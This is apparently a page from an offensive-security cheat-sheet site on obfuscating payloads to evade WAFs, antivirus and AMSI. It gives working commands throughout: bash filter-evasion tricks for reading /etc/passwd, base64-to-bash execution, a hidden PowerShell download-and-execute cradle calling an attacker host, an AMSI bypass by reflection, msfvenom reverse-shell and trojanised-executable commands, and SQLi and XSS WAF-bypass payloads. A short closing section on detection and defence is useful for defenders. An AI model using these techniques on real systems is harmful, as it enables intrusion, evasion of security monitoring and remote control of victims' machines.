the_open_door
coffee
ESEN
← Back to index

Payload Obfuscation & Evasion

Obfuscating a payload means rewriting it so it does exactly the same thing but does not match the signatures that would block it: a WAF's rules on the web, an antivirus's static signatures on disk, or Windows AMSI's in-memory scanning. It isn't a vulnerability by itself, it's the layer that lets every other technique (a command injection, a SQL injection, a Log4Shell) get through the filters. The mental rule: obfuscation buys time against static detection (patterns and hashes), not against behavioural detection (an EDR seeing a process spawn powershell and call out).

Linux shell (bash)

Same commands, without the strings the filter looks for (spaces, binary names, keywords):

# no spaces: ${IFS}, $IFS$9 or a tab; redirections also work
cat${IFS}/etc/passwd
cat$IFS$9/etc/passwd
{cat,/etc/passwd}                      # brace expansion (the comma is the separator)
cat</etc/passwd
# split the binary name to dodge blacklists
w'h'o'a'm'i                            # empty quotes in between
who$@ami                              # $@ expands to nothing
c\a\t /etc/passwd                     # backslashes
# build the string from variables or slices
a=/etc/passwd;cat $a
cat ${HOME:0:1}etc${HOME:0:1}passwd    # ${HOME:0:1} = "/"
# encode the whole command and decode inline
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash
echo -n 'id' | xxd -p                  # to hex ->  then  echo 6964 | xxd -r -p | bash

Windows shell (cmd and PowerShell)

# cmd.exe: the caret ^ escapes characters and breaks the signature
w^h^o^a^m^i
# cmd: substrings of an environment variable to compose the command
set c=whoami&& %c:~0%
# PowerShell: -EncodedCommand (UTF-16LE base64), the most common route
$c='IEX(New-Object Net.WebClient).DownloadString("http://<lhost>/s.ps1")'
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($c))   # -> paste into:
powershell -nop -w hidden -enc <base64>
# PowerShell: split and rebuild so the literal string never appears
$s=('Inv'+'oke-Mimi'+'katz'); &$s
"{1}{0}" -f 'ex','I' | iex                 # format operator
[char[]](105,101,120) -join ''             # from character codes
IEX (Get-Content .\p.txt | Out-String)     # pull the script from file/HTTP

AMSI: Windows in-memory scanning

AMSI makes PowerShell (and other script engines) hand the content to Defender right before running it, so -enc alone is not enough. The classic pattern neutralises the scan in the current session by patching the result that AmsiScanBuffer reads:

# force AmsiInitFailed to true in the current session (via reflection; the string is split so the
# pattern itself does not trip the bypass signature)
$a=[Ref].Assembly.GetType(('System.Management.Automation.Amsi'+'Utils'))
$a.GetField(('amsiInit'+'Failed'),'NonPublic,Static').SetValue($null,$true)
# alternative: load the payload via reflection (Assembly.Load) so nothing touches disk
[Reflection.Assembly]::Load([Convert]::FromBase64String('<dll-b64>'))

Behind this are tools that automate the obfuscation (Invoke-Obfuscation for PowerShell, ScareCrow/Freeze for shellcode loaders); the idea is the same: break the strings and the structure the signature recognises.

Payload encoders (msfvenom)

# encode with an encoder and iterate several passes (breaks the static signature of the stub)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<lhost> LPORT=<lport> -e x64/xor_dynamic -i 5 -f exe -o rev.exe
# avoid forbidden bytes (bad chars) typical of memory-corruption exploits
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<lhost> LPORT=<lport> -b '\x00\x0a\x0d' -f c
# inject the payload into a legitimate executable (template) and keep it working
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<lhost> LPORT=<lport> -x template.exe -k -f exe -o trojan.exe
msfvenom --list encoders          # see the available encoders

Realistic caveat: shikata_ga_nai used to be the star encoder but today its decoder stub is signatured; msfvenom encoders are for bad chars and CTFs, not for evading a modern EDR.

WAF and web filters

-- SQL: inline comments, upper/lower case and MySQL version comments
'/**/UNION/**/SELECT/**/1,2-- -
'/*!50000UNION*/ /*!50000SELECT*/ 1,2-- -
%2553ELECT                       -- double URL-encoding: %25 -> % -> the server decodes twice
<!-- XSS: vary the tag/event and encode to dodge the blacklist -->
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<a href="javas&#99;ript:alert(1)">x</a>   <!-- HTML entity inside the scheme -->
%3Cscript%3E ... %3C/script%3E             <!-- URL-encoded payload -->

See the full per-engine bypass arsenals in the SQLi and XSS cheatsheets and in command injection.

How to detect it. What gives obfuscation away is not each single trick but its traces: on Windows, PowerShell with Script Block Logging (Event ID 4104) records the already-deobfuscated script, and -EncodedCommand/FromBase64String/[Ref].Assembly...AmsiUtils on a command line (4688/Sysmon 1) are strong signatures. On the web, strings with high entropy or repeated encoding (%25, %u, /**/ comments splitting keywords) in a parameter are the anomaly a WAF that normalises before inspecting flags. In binaries, a large base64 blob or an encoder's decrypt loop (e.g. the shikata stub) is caught by YARA. Rule: the more oddly a parameter or a command line fits versus what is normal for that app, the more likely it is obfuscation.

Defence. Do not rely on signatures alone: enable Script Block Logging and AMSI with an up-to-date Defender, Constrained Language Mode and script signing in PowerShell, a WAF that decodes (URL/unicode/HTML) before applying rules, and an EDR that watches behaviour (an office process spawning powershell -enc, or a webshell spawning cmd) instead of just the string. Obfuscation degrades static detection; behavioural detection and full logging neutralise it.